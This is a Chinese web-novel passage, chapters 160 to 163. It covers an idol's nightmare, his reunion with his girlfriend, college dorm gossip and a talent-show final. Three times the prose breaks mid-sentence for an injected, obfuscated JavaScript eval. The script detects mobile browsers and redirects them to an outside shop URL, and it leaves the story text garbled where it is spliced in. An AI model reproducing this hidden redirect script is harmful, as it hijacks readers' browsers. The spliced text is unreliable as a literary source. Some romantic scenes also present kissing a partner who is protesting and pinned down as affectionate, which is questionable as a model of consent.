“怎么回事!”对面比吉吉国王还急。网上关于赵焰、楚恒、沈一临和喻之明四个人之间的事情已经炸开了锅,沈一瑾简直像热锅上的蚂蚁抓耳挠腮。 沈一临坐下,低垂着头,手上一边玩着桌上的一个粉色hellokitty卡套,一边把所有事情的前因后果都告诉了她。 “对了。”沈一临手部动作一顿,“还有一件事。我,看见楚恒和他女朋友打电话了。” “哦。”对面却好像很是平静。 “你不惊讶?” “我早就知道他有女朋友了。”沈一瑾嘻嘻笑着,“其实,就是因为他看上去好像不想被人知道他女朋友的存在,所以我才一直没说。” “……”沈一临愣怔几秒钟,呼出一口气,有些无奈,“你还挺好心啊。就是因为你没把事情都告诉我,我才误会了楚恒。不过好在,现在误会都解开了。” “哎呀!当然要帮人家保守秘密啦!” 沈一瑾语气突然变得有点鸡贼。 “我还见过他女朋友呢。” “是吗?”沈一临想到之前楚恒打电话时那种可以腻死人的温柔,不禁起了点好奇心,问,“他女朋友什么样?” 沈一瑾停顿了一下,像是在回忆着什么。 “很善良。很机灵。很阳光。” 她声音突然变得有些小,“让人很想跟她变得亲近的人。” “那简单。”沈一临勾起唇角,“我去找楚恒,给你们加微信。” “哎!那也太冒昧了吧!”沈一瑾在对面喊。 “会失落吗?”他突然说,像是能一眼看破对面人的心思,声音低低,“对楚恒。” 沈一瑾语气却非常很认真。 “放心啦,我早就已经走出来了。那些都是过去式了。我现在要一往无前地搞事业,干劲满满地当我的女明星!” “昨天我才刚刚完成了好几场打戏,我练了一个多月呢!两条就过了,导演和工作人员都夸我!” “红姐还跟我说,下周可以开始去选歌了,年底可以出MOON特别专,明年开始全国巡演!我给你和妈妈爸爸留票啊!” “你等着今年春晚在电视上看见你妹吧!” …… S台园区,练习室外。 顾安一把拦住楚恒,像是极力压着什么情绪。 “聊聊。” “赵焰已经走了。” “这是你想要的结局吗?” 楚恒停住动作,抬眼,看他。 顾安看他不说话,喉间溢出讽刺的笑,“对吧?反正你早就和喻之明串通好了。你们要合伙毁了赵焰和我。” “现在网上到处都是那条喻之明拍的视频,赵焰亲口说怂恿我给你下药、在董事长面前污蔑你的视频。” “你满意了?” “毁掉了赵焰,毁掉了我,执意退出STAR,退出新娱公司,现在算是彻底毁了这个曾经呆了三年的团体,你满意了?” “你是红了,你会写歌这件事三年来都瞒得滴水不漏,现在你终于红了!赵焰退赛了还有他舅舅,他再怎么样都有人给他兜底。那我呢?那我呢?你们谁在乎过我?谁在乎过我的感受,在乎过我的前程!!” 顾安双眸赤红,额角青筋隐隐跳动。 “我等这个机会等了多久,我没有他那样的背景,我没有你那样的幸运,我只有我自己一双手!我一步步走到今天,靠着自己能力在二选里走到15名,这是我用辛苦练习换来的!” “没了,没了,现在一切都没了。没有人会相信我了,没有人会给我投票了,下一轮25进12,我一定会输了,我一定会输了……你满意了?你满意了!!” 他一拳砸在墙上,墙体发出沉闷的“咚”的一声。 “楚恒。” 顾安慢慢抬起眼,那双眼睛里只有仇恨,只有憎恶。他早就忘记了四年前和楚恒一起当练习生的时候曾经塞给他的那个捂热的饭团,早就忘了名不见经传的日子里两个人一起走过的路,记忆比褪色的河流云朵还要久远,倾盆暴雨冲刷了所有的痕迹。 “我们是一辈子的仇人了。” * 楚恒紧紧闭着眼睛,躺在床上。 眼前一片混沌。 很是久违的,他又开始做噩梦了。 从十四岁到十八岁,他的少年时代,纠缠了四年的人。 他眼前一会儿闪过四年前的顾安,一会儿闪过现在的赵焰。 新娱的练习室光线总是很昏暗,帝都的天总是阴沉,走出大楼的时候看见的那轮月亮总是透着隐秘的光,周围云层半遮不遮,冷冷的透着寒意。 头开始钝痛,那些被压在地上拳打脚踢的画面,那些一个人咬着牙给自己上药的画面,那些从来不敢穿露背衣服的画面,全部开始一幕幕重现。恶魔像是克苏鲁神话里的邪神,遮天蔽日把太阳也灭掉,世界陷入永恒混沌的虚无。 “谢天谢地!你终于醒了!我叫顾安。你节食太过,晕倒了,吃个饭团吧。” “楚恒。我们是一辈子的仇人了。” “你凭什么?Center是我赵焰的!你凭什么?” “哈哈哈哈,我还没用刀划他的脸呢,我好善良啊!” 人脸一张一张,旋转着包围他,可是不久之后那些人脸就慢慢变得抽象,边缘开始模糊,一个个张开血盆大口,嘴越长越大,整张脸都开始从嘴中间撕裂,下巴掉在地上,眼睛流出黑色的血泪,露出最里面的森森白骨。 他拼命往前逃。 身后的人脸紧紧追着他。 好想快点跑,可是腿完全不听使唤,怎么也跑不快。前方好黑,世界好黑,怎么会一丝光亮也看不见,这里到底是哪里? 脚边有石子,空气好冷,冰川流动,天上像无尽吞噬的黑洞。 好痛,好痛,别过来,别追过来。 他拼命跑,一直跑,发了疯似地往前跑。 他不知道自己走在哪条路上,这个世界都整个黑暗一片,什么都看不见,哪里还会有路呢? 腿开始折断,腹部被人捅了一刀,背后被人狠狠踢过的伤口开始隐隐作痛。手开始溃烂,嘴角开始流血,就连最后的眼睛也开始慢慢闭上。 ——“楚恒!” 楚恒骤然睁开了眼睛,大口大口地喘气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14365832|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆大的汗珠从额角滚落,心脏猛猛地跳。 呼吸困难,眼前一片白光。 他的手,好像被人紧紧牵住了。 一只很柔软的手,在他手里显得很小,却紧紧地牵着他,和他十指相扣。 “看得见我吗?” 楚恒浑身一抖。 眼前白雾散开,他跑着跑着,一直一片漆黑的世界好像终于透出了一点光亮。他猛地抬头,看见天边,一轮巨大的炽热的太阳,正在熊熊地激烈地燃烧。 太阳是光,是亮,是热,是能源。 脚边的石子突然不再滚动,冰川在慢慢融化,天边黑洞急速坍塌,克苏鲁恶魔终于尖叫着自燃,连带着那些人脸一起消失在身后。 “楚老师,看得见我吗?” 黄怀予出现在他的视界里,坐在他的床边,握着他的手,正冲他笑。 ——孤独的宇宙极速旋转,冥王星之外的44亿公里,永不停歇的椭圆形轨道上,在离你最近的近日点。 “你梦见什么了?” 她笑着凑近,乌黑的瞳孔清凉透明,像是世界上最美丽的清泉玉石。 “梦里有我吗?” 没听见楚恒的回答,黄怀予又问: “是个美梦吗?” 她捏着楚恒的手,他的手指修长,掌心干燥,黄怀予一点一点地捏,一会揉揉手心,一会摸摸骨节。 “你是不是傻了?怎么不说话。” 黄怀予盯着他看了一会,干脆俯下身在他唇上啄了一下。 “不过你现在这副懵懵的表情也很好看,好吧原谅你了。亲一下!” 她亲完,摸摸他的发顶,眼睛笑得弯成两条清浅的月牙,“真的傻了?一动不动的。” 刚想收回手,却被人突然狠狠攥住。 手腕上传来疼痛感,她还没来得及说话,眼前躺着的人突然径直坐了起来,一把把她往后按倒在床上。 沉重高大的身躯重重地压了上来,两人胸腔紧贴,心跳交融,黄怀予顿觉喘不过气,想用手推他,下一秒两只手就也被用力攥住狠狠压在头顶。她整个人被楚恒用一种完完全全彻底压制住的姿势按在床上,连挣扎着动一下都很艰难。 耳边传来沉重灼热的呼吸,他像是疯了一般狠狠压住她,一刻不停地用力吻她的脸,她的眼睛,她的鼻尖,她的耳朵,她的脖颈,她的锁骨。胸前被压得喘不过气,呼吸相互交织,热意弥漫,黄怀予受不住想推他可是手被他紧紧按住,根本动弹不得,只能像只待宰的羔羊一样被他压在床上狠狠地吻。 “楚恒!” 他吻了半天都还没吻到嘴,黄怀予现在全身上下唯一自由的就是嘴,于是气急败坏地喊他: “起来!压得太紧了,你好重!” 那人置若罔闻。 脖颈处突然传来湿润温暖的触感,什么东西正在纠缠着舔舐她。 “你!你知道我过来一趟魔都多不容易吗,去找梁姐带我辛辛苦苦混进来,想着来看你,你倒好,睡醒了就像个傻子一样,呆呆地,问你也不回答,一句话都不说!” “这么久没见面了,你就不关心我?你就不想问我点什么?一句话都不说,问你也不回答,突然把我按在这!你!我生气了!” “起来!压得我好难受!……别舔了……放开我!我讨厌你!” 控诉的话还没说完,浑身上下唯一自由的嘴也被堵住了。 161. 第 161 章 黄怀予第一次见到楚恒如此失控的样子。 他像一头猛兽,身体执着地要和自己紧密贴合,手紧紧按在她腰腹间的软肉上,那双桃花眼里此时却闪着几乎要燃烧起来的欲望,赤裸裸,沉甸甸,一望无际的黑,深切沉闷的蓝。 黄怀予舌尖被吮得生疼,整个人被亲得头晕眼花,自己完全丧失行动能力,只能气愤地咬他嘴唇。 他闷哼一声,停顿一下。 退出来,盯着面前她被吸得红肿的唇,和还没来得及缩回去的湿润的舌尖。 没等黄怀予开口骂他,就继续堵住了她的唇。 手一点点从腰腹间摩挲,掌心热得烫人,像是用了极大的自制力才能忍住不往上或者往下摸。心跳声如擂鼓,胸前肌肉隔着薄薄的衣料紧密贴合摩擦,他浑身温度高得吓人,像是下一秒就要烧起来。 直到黄怀予即将要喘不过气,他才微微退出,又重重喘着去急切地舔/吻她的耳朵,头拼命地往她颈窝里钻,散落下来的发丝绵绵地蹭到皮肤上,痒得黄怀予皱眉。 她这才感觉到不对。 楚恒好像不是单纯地想接吻,他只是想这样毫无保留地百分之百地把她按在怀里感受皮肤紧密贴合的感觉,想抱她,想让世界里只有她,像是最原始的动物,大型犬要和主人进行亲密接触的强烈占有欲。 至于剩下的吮/吻,好像都只是他无法控制下的生理反应。 …… “你肯定做噩梦了。” 刚刚被他按着亲了太久,黄怀予开口才发现自己声音嘶哑。 “就跟我七月份那天晚上临时去帝都你家里找你,发现你躺在地上的那个时候一样,做噩梦。” “对吧?” 没人回答。 楚恒压在她身上,头靠在她肩膀上,一动不动。 “我在网上看到了。赵焰和喻之明的事情。” “看到之后我就觉得你可能又会像之前那样做噩梦,所以才来了魔都,拜托梁姐带我进的S台,装成经纪公司工作人员进来找你。” “梦见什么了?”黄怀予慢慢抬起手,轻轻落在他头顶,手指插入他发间,摸了摸他蓬松干燥的头发,“很难受吗?我进来的时候,你眼睛闭得很紧,浑身是汗,皱着眉。” “结束了,楚恒。一切都结束了。” 她轻声说。 “恶有恶报,一切都结束了。” “你可以重新开始了。” 黄怀予本来没指望他回答,毕竟这人本来就不喜欢说话,所以只是慢慢地这样揉他的脑袋,当作一些无声的安慰。 却没想到,颈侧突然传出一声沉闷的、低沉的回答。 “不难受。” 楚恒没抬头,只是这样紧紧抱着她不松手,身体重重地压在她身上,头埋在她肩膀上。 他的手慢慢移动,一把扣住了她的手腕。 随后慢慢和她十指相扣,紧密贴合。 “如果从噩梦中醒来,第一眼就可以见到你……” 他的声音很低,却在这安静空荡的房间显得清清楚楚,一声一声,一句一句,钻进黄怀予心里。 “我会觉得,自己是世界上最幸福的人。” * 黄怀予周六到的魔都,没有待够24小时,就在周一之前回了江城。 周日晚上回到寝室的时候,室友都问她这个周末去哪了,怎么两天都不见人影,还拖着行李箱。 她没讲太多,“出去玩了。” 戚天在旁边笑嘻嘻地,“是去找男朋友吧?” 黄怀予有些无奈,她从来没有在室友面前提起过自己有男朋友,但是戚天每次都会这样故作神秘地提上一句。 开学以来这段时间一直在军训,几位室友倒也相安无事,大部分生活习惯都可以磨合。四人之间只有黄怀予和戚天之间偶尔会有小摩擦,不过也都是小事,没过几天说清楚也就好了。 “秘密。是自己的私事啦。”黄怀予用开玩笑的语气说道。 其他室友也知道这是人家的私事,笑笑也都不问了。 只有戚天还兴致勃勃地追问:“什么私事,肯定就是去找男朋友了!” “你们异地?你主动去他的城市找的他?”戚天大声笑着问,“你们在一起过夜了吗?” 寝室里空气骤然变得安静下来。旁边有室友注意到了,岔开话题上来打圆场,“戚天你衣服是不是没收?” 戚天切了一声,“不说算了。”转身去阳台收衣服了。 …… 《光芒之下》即将迎来三选。这次将是25名进12名,也是总决赛之前的最后一次选拔。 楚恒站在舞台上,再次唱了一首自己的原创《近日点》。 台下导师惊叹连连,张奇微导师感叹《近日点》在制作风格和作曲上比《孤单行星》更成熟,明显有了非常大的进步。 节目组音乐总监重新进行的编曲也让这首歌的表演舞台更加完整,舞台风格和歌词完美融合统一,展现了与《孤单行星》完全不同的氛围,更加强调一种新生与拯救,即使身似浮萍、身不由己,却也能在回首处遇见命运般的那个人。 节目正片播出,《近日点》接着《孤单行星》的热度再次火了,音乐榜单上甚至超过了几位最近正发歌的当红歌手的新歌。虽然大众影响力和传播度上不如《孤单行星》那样广泛和火爆,但是《近日点》也承接了之前的热度,让楚恒的名字被更多人看见,成为楚恒的又一代表作。 楚恒微博在二十天之内涨了接近一百万粉丝,最终在三选环节中直接从上一次的13名一跃上升为第2名,直接超过了陈锐和凌昀,仅次于沈一临。 节目正片还特地放出了现场公布排名时那种山呼海啸的惊讶,楚恒绝对是一匹最大的、势头强劲的黑马,所有选手惊叹之余,脸上都还流露出那种由衷的钦佩。 沈一临在台下笑着给楚恒鼓掌。 陈锐在后台备采时真心表示楚恒真的很厉害,每次看见他都是在练习室里苦练,还会写歌,非常有才华。 凌昀在备采时抱着胸,笑着说真不甘心啊,最后还学着日漫主角说了一句中二台词“可恶,既然你是我的对手,那就来一场酣畅淋漓的对决吧,不要小瞧我的斗志啊!”,把前面的工作人员笑倒了一片。 * 再过一周就是《光芒之下》总决赛。总决赛将进行现场直播,并对现场和网络所有票数进行统计,直到当晚八点锁票。 谷奕非常兴奋,每天都在朋友圈里让大家楚恒投票,网吧又多包了好几家。 只是谷奕最近也在军训,三人视频的时候,黄怀予看见谷奕整个人黑了不少,留了很久的头发也因为戴帽子太热直接剪掉了,整个人身材高大皮肤黝黑,短簇的头发衬得眉眼锐利气更重,硬朗但不厚重,像是军旅题材电影的硬汉男主角。 “我还被选作代表了。下周方阵表演,我打头。” 谷奕刚洗完澡,把手机放在桌上,湿漉漉的发丝散落,水汽未干,眼睛明亮,晃得黄怀予都愣了一下。 黄怀予:“你晒黑之后还挺好看的。” 谷奕听了这话,哼哼唧唧,得意地扬起眉毛,“算你有品位。” 黄怀予:“苏琬觉得呢?” “嗯。”苏琬点点头,很坦诚,“确实挺好看的。” “……”谷奕的脸像是一下子就红了,不自然看了一眼手机屏幕,“真的?” 黄怀予:“?” 她哼了一声,“我现在是不是应该退出通话?给你们俩留点空间?本steve够自觉吗?” “可以。”谷奕点点头。 “你!”黄怀予怒气冲冲按下通话结束键,“走了!” …… 江城大学的新生军训结束了。 戚天兴冲冲地走进寝室,跟室友们用讲八卦的语气说:“你们知道吗!韦真和曹康裕两个人闹掰了!” “他们俩本来就互相看不惯不对付,又被分到一个寝室所以经常起矛盾,都觉得对方不如自己,一个是团支书一个是班长,都想争一把手。我是学习委员嘛,辅导员何文让我去学院里给老师帮忙,我经过辅导员办公室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14375914|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才偷偷听到的,原来他们俩已经闹到了辅导员面前,都说要换宿舍!” “然后呢!换了吗?”室友惊讶地追问。 “换了!最drama的地方就在这里,现在有一个机会可以换去1号区的宿舍,也就是法学院那边,环境更好,而且可以一个人住四人间。他们俩都想去,结果又在辅导员办公室里争起来了!” “然后,辅导员何文说,你们让全班男生内部投票,投谁可以去,那谁就去。于是他们俩开始在全班男生面前疯狂拉票,各种拉拢,迅速建了好几个群,我们班男生现在已经分了好几个阵营了。” 黄怀予和室友们听了简直无言以对。 “男人真drama,唧唧歪歪,换个寝室的事,搞得跟三国争霸一样。” 黄怀予却没想到,她还是低估了这几人的奇葩程度。 军训结束之后,教官会根据每个同学的表现进行打分。这个分数将直接记录档案,成为学分的一部分,也和后面所有课程分数的性质一样,都会影响最终绩点成绩。 黄怀予由于军训期间经常上去表演乐器,所以在刚开学的时候,就已经被大部分同学以及教官记住了。再加上之后站军姿站得好,被选成了领队带头,成为了一整个学院里唯三的领队代表。 多方因素加起来,教官给她打了96分。室友得知,说你这估计是全班最高的分数了。 和戚天下楼买饭,在宿舍楼下碰见金钰。黄怀予本想上去打个招呼,却没想到金钰看见自己,脸色立马黑下来,简直像碰见敌人一样,理也不理,转身离开。 “金钰好像是89分。其实也算挺高的了,她身体不好,军姿这一项得分不高,平时又内向,没有表演节目,所以教官对她印象不深刻。” “但是好像听说,教官走的那一天,金钰还去单独找了教官,说自己要保研,绩点很重要,能不能给她打高一点分数。教官没同意,她还很生气。” 戚天在黄怀予耳边悄悄说。 黄怀予皱眉,越想越不对。 “主动找教官要分数这件事,是可以的吗?” “当然不可以。”戚天耸耸肩,“但是也有人私底下会这样做。” “既然她是私底下这样做的,你是怎么知道的?” 黄怀予终于想明白了那股不对在哪里了,为什么好像总有个别人能知道班上其他同学所有私底下的事情,把其他人了解得一清二楚消息如此灵通? 而大部分人都只是老老实实呆在寝室里上课下课,所有消息都只能通过寝室讲八卦获得。 “韦真告诉我的。”戚天神秘兮兮地说。 “……” 黄怀予心头突然有一种恍然大悟的感觉。 她看着戚天,开口: “你有没有想过韦真为什么要和你说这些?” “为什么要跟你说,金钰似乎是一个会理所应当钻空子、达不到目的就会生气的人?” 戚天一愣,“你的意思是……” 黄怀予皱眉。 “他就是班上的消息中转站,A的消息传给B,B的消息传给C,互相传来传去,到最后谁也不知道关于大家的传闻是真是假了,大家还没来得及变熟络就已经有了对对方的刻板印象甚至不好的印象。” “我甚至还觉得,金钰之所以刚刚那么讨厌我,估计也是因为他告诉了金钰,我是96分。” “现在他又来告诉你,想通过你告诉我,金钰似乎因为分数没有我高而嫉妒我。” 戚天听了这话,也意识到了什么,沉默了。 黄怀予叹了一口气。 心头变得沉重,还有一些无所适从。她发现大学好像不是她想象得那么美好,人和人之间的相处也没有那么容易。 初中高中,15岁的年纪,仍在发展自我认同,同辈群体的一言一行几乎可以产生巨大的影响。然而现在大家都已经是18岁,远离家乡母父亲人,高考之后大家的目标也各自并不相同,个人有个人的路,被逼着强行聚集在一起,只能独自忍受象牙塔的破碎和急速成长的阵痛。 162. 第 162 章 距离《光芒之下》总决赛的日子越来越近。 网上开始出现大面积的讨论,最终的中心也是围绕着目前两大夺冠热门——沈一临和楚恒。 沈一临是天星公司大公司出身,一线男团队长,粉丝基础雄厚,长得帅能力强,唱跳俱佳,性格阳光正义,笑起来活力自信,各方面都无可挑剔,甚至还是勇敢制止暴力霸凌的当事人,是找不到任何缺点的完美偶像。 楚恒出身名不见经传的个人作坊初创小公司,最开始黑料缠身,糊咖一个,长相精致能力强但是性格却极其冷淡,不会互动也不会来事,最后凭借着原创作词作曲拼出了一条完全个性化的道路,完全是非典型爱豆。喜欢他的人会很喜欢,讨厌他的人会很讨厌。 这样的对决也引发越来越多的人讨论,话题铺天盖地,全网都在讨论你更支持谁当冠军。 S台见状立刻还不嫌事大般地发起一个投票,除了两方粉丝一直以来的腥风血雨,众多路人也下场表达观点,也为最后的总决赛做了大幅度宣传。 …… 眼下这个时间段,黄怀予根本不敢主动去联系楚恒。 她只敢在微信上说几句好好休息,好好比赛,千万别紧张,大家都会支持他。 终于,到了总决赛当晚。 谷奕准备很是充足,直接把黄怀予和苏琬带到江城胜家酒店八楼,一进去一整层楼都安安静静,一个外人都没有。 电梯下来第一间房,一进去,房间里甚至已经摆了香槟塔,地上还铺了红毯,床上撒了玫瑰花瓣,屋顶还飘着几个彩色气球,墙上贴着几个卡通体大字:“楚恒最棒!” 几个酒店工作人员拿着礼花炮筒站在一边,“噗嗤噗嗤”往三人身上喷,“恭喜少爷和少爷的朋友们!” 黄怀予和苏琬瞠目结舌,好不容易才把身上的彩色礼花抖落。 “比赛还没开始呢,怎么就开始恭喜了?” “不管我兄弟第几名,都值得恭喜!” 黄怀予和苏琬异口同声,“……可是你兄弟本人不在这里。” “那又怎么样?我们给他庆祝,他云参加!” 几个工作人员撒完礼炮就偷笑着离开了,房间里的电视已经开好了,节目直播终于在万众瞩目下正式开始。 现场在魔都体育中心,舞台极其宽敞,下方坐满了观众。 三选中优胜的前12名开始根据之前的抽签顺序逐一上台,进行最后的表演。 由于是直播,所有舞台的镜头都给得有些混乱,现场没有修音,全开麦,所有选手声音都有些抖。 但是沈一临却依然唱得很稳定,他表演了一首经典歌曲,即使是全开麦气息也很稳定,舞蹈力度不减,从头到尾的唱跳没有任何缺点。下方粉丝声嘶力竭地喊着他的名字,举着灯牌,欢呼声像是要直至天边。 楚恒上场。 当“原创歌曲《太阳》”几个字打在屏幕右下方的时候,黄怀予呆呆地盯着上面出现的“作曲:楚恒”、“作词:楚恒”,心脏还是忍不住砰砰地跳动起来。 这首歌,她听过。 七月份,在帝都,楚恒的家里,卧室里。 楚恒给她一边弹一边唱过。 和之前《孤单行星》和阴郁孤寂却完全不同,也一扫《近日点》的从压抑到开阔的转折新生,《太阳》是一首自始至终都快节奏的歌。 明媚,美好,热烈,讲着小镇的夏天,女孩的笑容,阳光下水洗过的橙子,潮湿闷热的空气。青春像小镇电线杆上站着的一排麻雀,上课铃声一响就“倏地”飞走,天边太阳不息地燃烧,乌黑的发丝、牛仔短裤、小镇说来就来的雨,还有书包上挂着的晃来晃去的毛绒玩偶。 ——“若太阳永不坍塌,我的爱意也将直至生命轮回,与光同息。” 夜晚八点。 所有平台全部锁票。 主持人举着话筒大声宣布: “《光芒之下》2018年全国总冠军——沈一临!” “第二名,楚恒!” “第三名,凌昀!” 山呼海啸的尖叫声和欢呼声像是要掀翻魔都体育中心的场馆顶,人潮汹涌,彩带纷飞,台上所有人拥抱在一起,前三名被簇拥在舞台中间,主持人大声喊着“恭喜三位获得与S台合作一年的机会!《光芒之下》告一段落,我们感谢这个夏天和你相遇……” 微博前三条全都是“爆”,朋友圈有的哀嚎有的欢呼,头条营销号迅速发文“官方正统偶像最终还是赢了!但是小公司艺人再度崛起,楚恒和凌昀走出了新的个性化赛道,偶像艺人的方式是否可以多种多样?” 音乐软件迅速上线了《太阳》,播放量一路狂飙,房间里的蓝牙音响开到了最大声,这一楼没有其他客人,全部都被谷奕包下。香槟杯碰杯的声音清脆无比。 “我们来跳舞!” “祝你开心到想(4)”群里热闹无比,一水全是表情包祝贺和大额红包,还有苏琬发出去的视频,录着谷奕喝醉了在地上唱《太阳》、而黄怀予在旁边大笑的画面。 ——简直是一片混乱。 …… 三人都没有给楚恒打电话,因为知道他现在刚刚结束录制一定还有别的事。 谷奕醉得太厉害,一不小心把香槟塔全部打翻了,只能躺在地上掏出手机打电话让人上来收拾残局。 这一层楼全都被谷奕包下来了,今夜他们三个人可以随便住。 他喝得太醉太死,被黄怀予和苏琬拉着找了间房间扔上了床。 黄怀予在这一楼随便选了个房间。 关上门,周围终于陷入安静。 这一夜太疯狂,黄怀予的心跳现在都还没有平息。 她坐下来,盯着手里的手机,却仍然不敢联系那个今夜的主角。她觉得楚恒现在应该有各种各样的事,可能签合约?或者去什么庆功宴?她也不了解,不过不管怎么样,都是没空联系她的。 果然,群里只有她们三个人在嗨,楚恒那边一直安安静静。 突然,黄怀予手机震了两下。 她瞄了一眼,震惊地发现,竟然是楚恒给她发了消息。 她看了一眼时间,现在是晚上八点半。 节目直播刚刚才在二十分钟之前结束,按道理说楚恒的手机现在应该被打爆了,现场也一定会有很多人找他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他再也不是那个糊到在云省楚门这样一个十八线小城市的酒吧里做驻唱歌手、对着空荡荡的卡座唱着无人认可的歌的那个阴郁沉默的糊团小偶像了。今夜魔都体育中心人潮汹涌,他的名字跟着大红色的“爆”出现在微博热搜前三,他的歌被无数人下载播放,他从十四岁到十九岁的梦想终于得以实现。 葡萄酒二次发酵,产生二氧化碳,气泡在透明的液体里缓缓上升,香槟的香气像是世界上最甜蜜的诱惑,黄怀予脑子逐渐昏沉,在酒精的作用下慢慢睡了过去。 “叮铃铃——” 急促的电话铃声突然把她吵醒,她迷糊中摸出手机,看了一眼时间:凌晨十二点。 电话接通,对面传来楚恒低沉的声音,好像是刚刚运动完,还带着点喘。 “在干什么。” 黄怀予喝了香槟刚睡醒,迷迷糊糊地说:“在接你的电话。” 那边像是笑了一下。 “还有呢。” 黄怀予清醒了一点,说道:“在想你。” “嗯。” 楚恒的声音也像是世界上最醇厚的葡萄酒,一点点顺着耳朵,钻进她的身体里。 “现在,开门,就可以见到我了。” 163. 第 163 章 黄怀予浑身的酒意顿时就醒了。 她一下子从床上跳起来,连拖鞋都没穿,光着脚踩着房间里柔软的地毯,一路“噔噔噔”跑到门边。 门打开,楚恒风尘仆仆地站在门外,身上染了一些江城夏夜的燥热和潮湿,手边还有一个行李箱。 黄怀予想也没想就跳着扑进他怀里。 楚恒顺手就抱住她缠在他腰上的大腿,把她往上颠了一下,然后另一只手抚过她的后颈,低下头重重地吻了上去。 两个人见面到现在一句话也没说就开始狂吻,楚恒闭着眼,单手抱着她,脚尖勾起一旁的行李箱踢了进门,随后腾出一只手关上了门,追着她的唇激烈地吻,一路抱着她吻到床上。 黄怀予整个人像是坐过山车般陷进柔软的大床里。 胜家酒店的床垫质量太好了,被抛下去还能往上回弹,只是才往上弹了几公分就又被身上的男人重重地压了下去。 手被他不由分说地牵住,紧紧相扣。口腔里所有的空气都被他攫取,整个身体都被沉重灼热的身躯压住而动弹不得,鼻间全是他的气味,滚烫,颤抖,混着薄汗的淡淡的小苍兰香气几乎铺天盖地把她包围。 黄怀予心跳声如擂鼓,她也能感受到压在她身上的那人心跳声沉重而剧烈,两颗心隔着薄薄的衣料和炙热的胸膛相互交融,皮肤紧密摩擦,热意弥漫,细小的相接都能引起身体的战栗。 耳边传来他粗重急促的呼吸,相比起黄怀予,他好像更难以自控。 黄怀予被他不知疲倦地一遍遍追索,攻城略地,纠缠绞动,偶尔的主动勾/吻他就更加急切激烈地缠上来。 舌根被他吮得生麻,双手都被他紧紧牵住,黄怀予喘不过气哼了一声,抬起膝盖顶了他一下,不知道顶到他什么地方了,他闷哼一声,从她口中退了出来,眼里的欲望简直深沉无比。 嘴角有什么液体慢慢流了下来,楚恒松开她的手,撑起上半身,在床头扯了一张纸,帮她细细地擦掉。 “有点肿了。” 他盯着黄怀予的嘴唇,哑着嗓子说。 什么?! 黄怀予一听肿了,立刻手抵在他胸口上,想要推开他,他却一把扣住她的手腕按在胸口,还想不管不顾地亲下来。 黄怀予向右边偏过脸,楚恒一下子亲到了她左脸上。 “不能亲了!肿了会被苏琬谷奕发现的!” 楚恒捏住她的下巴不让她逃,也跟着追到了右边,即将吻上来的下一秒黄怀予又往左边扭,他的唇再次擦过她脸颊。 “楚恒!你听得见我说话吗!” 她扭来扭去,几次都逃了过去,伸出唯一自由的那只手,手心捂住了他的嘴,堪堪挡住了他还要不由分说亲下来的动作。 他喘着气,灼热的呼吸打在她手心里,很痒。 过了好几秒,他沉闷的声音才从她的掌心模糊传来。 “……听见了。” 楚恒这人一般说过的话都会做到,黄怀予看着他眼里流出的一丝怨念,知道他答应了自己就不会再亲了,于是稍微放心了一点。 刚要把捂住他嘴的手收回来,就被他攥住手腕,然后放在嘴边一点点地吻她的手指。 她也没管,撑起上半身,够着手臂去拿之前扔在枕头边的手机,打开相机照了一下自己的脸。 “啊啊啊啊!” “怎么这么肿!” 她一副大难临头的样子,扯着自己的头发。 黄怀予就这样盯着手机屏幕里的自己,看了好久,脑子里一直在想万一被那两个人发现可以用什么理由,有蚊子?会有蚊子咬嘴吗?过敏?过敏好像不错,但是对什么过敏呢?今晚吃了什么?要不说对香槟过敏? 她脑子里飞速旋转,过了好久才意识到周围一片安静。 楚恒似乎一句话也没说,也没有任何动作。 她放下手机,下一秒就和楚恒盯着她的眼睛撞了个正着。 楚恒正整个人趴在她身上,单臂撑在她身体一侧,另一只手还握着她的手腕,放在嘴边吻,眼睛却一直紧紧盯着她的脸。 她看手机的这段时间,楚恒也不说话,也不动作,答应了她不亲就也没亲,就这样趴在她身上,慢条斯理地吻她的手背,然后盯着自己看。 “你这什么表情?为什么这样盯着我看?”她问。 楚恒看着她,慢慢说,“没什么。” “……我怎么感觉是只要我说可以了,你下一秒就会直接又亲上来。” “嗯。” 楚恒嘴角勾起一点弧度,歪头看她,“这是当然的。” “……”黄怀予把手机放在一边,然后捏他的脸,“老实交代,你现在怎么会突然出现在这里?梁姐都给我打电话问你在哪。” 楚恒很平静地说,节目一结束,就直接从魔都过来了,剩下的事全部给梁姐处理了。 黄怀予听得一愣一愣的。 比赛八点十分结束,他八点半发个消息问自己在哪,然后晚上十二点就已经从魔都闪现到了江城。 她不禁咋舌,“梁姐会不会生气?” 楚恒顿了一下。 回忆起比赛结束后,梁吟东满面红光,就算得知他现在就拎着行李要走,也是表情垮了一瞬就咬牙无奈地骂了一句“我的祖宗”。 “她好像开心更多。”楚恒凭借着和梁吟东已经认识了快四年的经验,做出评判道。 